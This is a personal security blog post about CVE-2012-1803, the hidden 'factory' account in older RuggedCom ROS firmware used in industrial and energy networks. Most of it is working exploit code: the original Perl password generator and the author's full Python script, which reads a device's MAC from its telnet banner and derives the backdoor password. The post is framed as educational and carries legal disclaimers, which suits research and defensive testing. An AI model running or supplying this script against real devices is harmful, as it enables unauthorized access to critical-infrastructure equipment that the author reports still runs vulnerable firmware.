JulianMcConnell.com

ROS (3.10.x or lower) "Factory User" Vulnerability Test Script

cybersecurity ICS OT ROS python

This particular post is an educational deep dive into the old ROS 3.10.x or lower "Factory User" vulnerability, detailed here in CVE-2012-1803.

ROS 3.10.x or lower "Factory User" Vulnerability Tester

DISCLAIMER: All of the information provided on my personal website is for educational purposes only. The information contained on my website should only be used to enhance the security posture of your respective, applicable systems and not for causing malicious or damaging attacks.

I do not permit misuse of any information I share on my site to gain unauthorized access into systems. Be aware that performing access attempts on systems that one does not own, without written permission and mutual agreement from the system owner, is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.

I am not be responsible for and assume no liability for any direct or indirect damages caused by the usage of the information provided on my website.

This is an educational security research tool. Use only where granted explicit permission from the device owner.

Where it all began...

I came across a device which ran the RuggedCom Rugged Operating System (AKA ROS) working in the energy sector in 2019. This particular device was an older spare unit that a colleague had in his kit. I had heard about the widely-known vulnerability from a few years earlier and so I asked the colleague if I could take a look at it to determine if it was one of the vulnerable ones. He obliged and I quickly determined by running the publicly available exploit (written in Perl) that it was in fact vulnerable. He was kind enough to give it to me for my collection, which began my journey to understand more about the applicable vulnerability. I took it upon myself at the time to use this as a learning experience and committed to writing my own version of a test script for this vulnerability. In late 2019, I did write a working version of my own test script in Python.

What is the device?

The device I was given is a RuggedCom RMC30 serial-to-ethernet converter. In a nutshell, it performs conversion for serial-based devices (RS-232, RS-485, etc) to be able to talk through IP networks. These devices are widely used in industrial settings, as well as in the energy sector far and wide.

What is the vulnerability?

The best description of what it is can be found in the seclists.org "Full Disclosure" mailing list archive post from when it was disclosed:

An undocumented backdoor account exists within all released versions of RuggedCom's Rugged Operating System (ROS). The username for the account, which cannot be disabled, is "factory" and its password is dynamically generated based on the device's MAC address.

Uh-oh, sounds bad. It's even worse though that the Telnet banner puts this MAC address in plain view!

Vulnerable versions of the ROS firmware are stated to be versions below 3.10.x. The particular version I have running on the vulnerable unit is 3.8.4, so perfect for this type of testing. Looking at the seclists.org mailing list archive post, there is some Perl code for understanding the process. I was also able to find some information at the time in the form of some metsploit module code, and a posting or two on forums about it.

How does it work?

The original code provided only performs the transformations required on the MAC address:

#!/usr/bin/perl
if (! defined $ARGV[0]) {
print "+========================================== \n";
print "+ RuggedCom ROS Backdoor Password Generator \n";
print "+ JC CREW April 23 2012 \n";
print "+ Usage:\n$0 macaddress \n";
print "+========================================== \n";
exit; }
$a = $ARGV[0];
$a =~  s/[^A-F0-9]+//simg;
@b = reverse split /(\S{2})/,$a;
$c = join "", @b;
$c .= "0000";
$d = hex($c) % 999999929;
print "$d\n";

Example usage:
Given a RuggedCom device with MAC address 00-0A-DC-00-00-00, run some
perl and learn that the password for "factory" is 60644375.

Let's take a look at what we have going on in a nutshell here.

It does work, but I had bigger ideas. I wanted to recreate this in more modern Python and add some automated functionality. How about if it automatically grabbed the banner via telnet and searched for the MAC address in it, then performed the operations? Since this was an educational venture, I also wanted to show feedback to the user running the script to help them understand how the process was working and what was happening at each step.

Let's start!

First, let's setup some initial stuff we'll need.

#socket required for the telnet banner retrieval
import socket

#regex required for MAC matching and version matching
import re

#import telnet lib
import telnetlib

#import sys
import sys

#for IP address input validation
import ipaddress

#global var
host = ''

Next, we need to accept the user input. While we're at it, let's validate that input and make sure it's an IP address that was entered.

#host ip address user input
def ip_input():
    #global variable
    global host
    #user input - note to self: should eventually check this input
    host = input('Enter IP address of ROS device: ')
    #print back the host address
    print('IP address entered was: ' + host)
    #try/except logic for IP address validation
    try :
        #input validation for the IP address
        ipaddr = ipaddress.ip_address(host)
        print('The IP address entered is valid.')
    except :
        #could not find proper IP address, so let the user know
        print('The IP address entered is not valid. Please enter a valid IP address.')
        #go back to try again
        ip_input()
#for first time code is executed
ip_input()

Now let's try to connect to the telnet server on the device. We'll try to look for the banner, reading until the target phrase "Serial Number" is reached. I do have a non-vulnerable version of this device and had to add the try/except logic for the banner read because the newer versions of ROS don't have the serial number (or MAC) in the telnet banner anymore, resulting in an exception.

#try/except logic for connection
try :
    #connect using telnet
    print('Connecting to', host, '...')
    tn = telnetlib.Telnet(host)
except :
    #could not connect, so let the user know and exit
    sys.exit('Unable to connect!')

#try/except logic for banner read
try :
    #read in telnet connection data until "Serial Number:" appears
    banner_in_byte_string = tn.read_until(b'Serial Number:')
    #convert banner byte string to string with utf-8 encoding
    banner = str(banner_in_byte_string, 'utf-8')
    #print the banner for user feedback
    print("Banner:")
    print(banner)
except :
    #could not read, so let the user know and exit
    sys.exit('Unable to find banner target phrase! ROS version may be too new?')

Continuing on if we were successful, we now look at the banner for the version string in it. If we find that, let's check and see if it's a vulnerable unit we're accessing.

#try/except logic for version string find
try :
    #look for version number from banner based on format
    versionfind = re.compile(u'[v]([0-9]{1,}.[0-99]{1,}.?[0-9]{1,})')
    #find version number
    verstring = str(re.findall(versionfind, banner))
    #let the user know a version string was found and print it
    print('Found version string:', verstring)
    #clean up the found version string
    #remove leading character junk
    tempverstr1 = str(verstring).replace("['",'')
    #remove trailing character junk
    tempverstr2 = str(tempverstr1).replace("']",'')
    #print the "clean" version string to give feedback
    print('Clean version string format:', tempverstr2)
    #place version number into a list post split
    verlist = list(tempverstr2.split('.'))
except :
    #no version number was found, so let the user know and exit
    sys.exit('No version string found!')

#compare version string to determine if applicable (experimental)
if int(verlist[0]) <= 3 and int(verlist[1]) <= 10:
    #feedback to user about version found being vulnerable
    print('Found vulnerable version!')
else:
    #feedback to user about applicable version not being found
    sys.exit('No vulnerable version found.')

Assuming we found the version string and it is a vulnerable unit, we now move into identifying the MAC address.

#try/except logic for MAC find
try :
    #find MAC address from banner based on format
    macfind = re.compile(u'(?:[0-9a-fA-F]-?){12}')
    #find the MAC from the banner
    foundmac = re.findall(macfind, banner)
    #let the user know a MAC was found and print it
    print('Found MAC:', foundmac)
    #clean up the found MAC address
    #remove leading characters
    tempmacstr1 = str(foundmac).replace("['",'')
    #remove trailing characters
    tempmacstr2 = str(tempmacstr1).replace("']",'')
    #print the "clean" MAC format for feedback
    print('Clean MAC format:', tempmacstr2)
    #place into a list post split
    maclist = list(tempmacstr2.split('-'))
except :
    #no MAC was found, so let the user know and exit
    sys.exit('No MAC found!')

If we found the MAC successfully, let's move into the transformations which generate the password.

#reverse the sets in the list and add four zeroes at the end, then print back for user feedback
reversedmaclist = str(maclist[5] + maclist[4] + maclist[3] + maclist[2] + maclist[1] + maclist[0] + '0000')
print('Reversed MAC + extra zeroes:', reversedmaclist)

#convert the hex to decimal and print the result for user feedback
convertedreversedmaclist = int(reversedmaclist, 16)
print('Converted to decimal:', convertedreversedmaclist)

#do the modulo to find the factory user password
print('Performing modulo operation...')
factorypass = str(convertedreversedmaclist % 999999929)

Assuming all went well, the final step is seeing the password, then a bit of cleanup at the end.

#print out the factory user password
print('The factory user password is:', factorypass)

#close the telnet session
tn.close

#exit
sys.exit ('Done!')

And there you have it!

As you can see, my code is much more sophisticated and with a significant amount of feedback. Since it was an educational venture, it's designed to help people understand what is going on with an exploit like this and make it easier to grasp in chunks that are well documented.

Mitigations

The best mitigation is updating the ROS version of these devices.

Since this vulnerability is so old, one would hope that these devices are patched. Sadly, that isn't the reality. I've seen several of these devices running the vulnerable ROS versions in the wild during my consulting work.

Regardless of ROS version, there are a few things you can do to lock it down and monitor it:

Putting it all together (the full script)

Below is the full script, as it stands today. I spent some time recently re-working a few sections of it and improving on functionality after it sat on the shelf for a few years. I'm not the world's greatest Python programmer and it's just an educational exercise, but it does work (see the gif at the beginning).

ROS_Factory_User.py

#RuggedCom ROS (3.10.x or earlier) "Factory" User Test Script by Julian McConnell
#https://julianmcconnell.com
#Version 20220901a


#DISCLAIMER:
# All of the information provided on my personal website and in my public code repository is for educational purposes only.
# The information contained on my website and my public code repository should only be used to enhance the security posture
# of your respective, applicable systems and not for causing malicious or damaging attacks.
#
# I do not permit misuse of any information I share on my site or through my public code repository to gain unauthorized
# access into systems. Be aware that performing access attempts on systems that one does not own, without written
# permission and mutual agreement from the system owner, is illegal. It is the end user's responsibility to obey all
# applicable local, state and federal laws.
#
# I am not be responsible for and assume no liability for any direct or indirect damages caused by the usage of the
# information provided on my website or my public code repository.
#
# This is an educational security research tool. Use only where granted explicit permission from the device owner.


#socket required for the telnet banner retrieval
import socket

#regex required for MAC matching and version matching
import re

#import telnet lib
import telnetlib

#import sys
import sys

#for IP address input validation
import ipaddress

#global var
host = ''


#host ip address user input
def ip_input():
    #global variable
    global host
    #user input - note to self: should eventually check this input
    host = input('Enter IP address of ROS device: ')
    #print back the host address
    print('IP address entered was: ' + host)
    #try/except logic for IP address validation
    try :
        #input validation for the IP address
        ipaddr = ipaddress.ip_address(host)
        print('The IP address entered is valid.')
    except :
        #could not find proper IP address, so let the user know
        print('The IP address entered is not valid. Please enter a valid IP address.')
        #go back to try again
        ip_input()
#for first time code is executed
ip_input()

#try/except logic for connection
try :
    #connect using telnet
    print('Connecting to', host, '...')
    tn = telnetlib.Telnet(host)
except :
    #could not connect, so let the user know and exit
    sys.exit('Unable to connect!')

#try/except logic for banner read
try :
    #read in telnet connection data until "Serial Number:" appears
    banner_in_byte_string = tn.read_until(b'Serial Number:')
    #convert banner byte string to string with utf-8 encoding
    banner = str(banner_in_byte_string, 'utf-8')
    #print the banner for user feedback
    print("Banner:")
    print(banner)
except :
    #could not read, so let the user know and exit
    sys.exit('Unable to find banner target phrase! ROS version may be too new?')

#try/except logic for version string find
try :
    #look for version number from banner based on format
    versionfind = re.compile(u'[v]([0-9]{1,}.[0-99]{1,}.?[0-9]{1,})')
    #find version number
    verstring = str(re.findall(versionfind, banner))
    #let the user know a version string was found and print it
    print('Found version string:', verstring)
    #clean up the found version string
    #remove leading character junk
    tempverstr1 = str(verstring).replace("['",'')
    #remove trailing character junk
    tempverstr2 = str(tempverstr1).replace("']",'')
    #print the "clean" version string to give feedback
    print('Clean version string format:', tempverstr2)
    #place version number into a list post split
    verlist = list(tempverstr2.split('.'))
except :
    #no version number was found, so let the user know and exit
    sys.exit('No version string found!')

#compare version string to determine if applicable (experimental)
if int(verlist[0]) <= 3 and int(verlist[1]) <= 10:
    #feedback to user about version found being vulnerable
    print('Found vulnerable version!')
else:
    #feedback to user about applicable version not being found
    sys.exit('No vulnerable version found.')

#try/except logic for MAC find
try :
    #find MAC address from banner based on format
    macfind = re.compile(u'(?:[0-9a-fA-F]-?){12}')
    #find the MAC from the banner
    foundmac = re.findall(macfind, banner)
    #let the user know a MAC was found and print it
    print('Found MAC:', foundmac)
    #clean up the found MAC address
    #remove leading characters
    tempmacstr1 = str(foundmac).replace("['",'')
    #remove trailing characters
    tempmacstr2 = str(tempmacstr1).replace("']",'')
    #print the "clean" MAC format for feedback
    print('Clean MAC format:', tempmacstr2)
    #place into a list post split
    maclist = list(tempmacstr2.split('-'))
except :
    #no MAC was found, so let the user know and exit
    sys.exit('No MAC found!')

#reverse the sets in the list and add four zeroes at the end, then print back for user feedback
reversedmaclist = str(maclist[5] + maclist[4] + maclist[3] + maclist[2] + maclist[1] + maclist[0] + '0000')
print('Reversed MAC + extra zeroes:', reversedmaclist)

#convert the hex to decimal and print the result for user feedback
convertedreversedmaclist = int(reversedmaclist, 16)
print('Converted to decimal:', convertedreversedmaclist)

#do the modulo to find the factory user password
print('Performing modulo operation...')
factorypass = str(convertedreversedmaclist % 999999929)

#print out the factory user password
print('The factory user password is:', factorypass)

#close the telnet session
tn.close

#exit
sys.exit ('Done!')

Thanks

I do want to briefly take a minute to thank the individual who gave me this device (both the vulnerable and non-vulnerable one) for my lab.

Additionally, thank you to the security researcher who originally disclosed this for providing their POC code which I used as the basis for the development of my script.

Finally, thank you to the individual who pushed me to publish this walkthrough.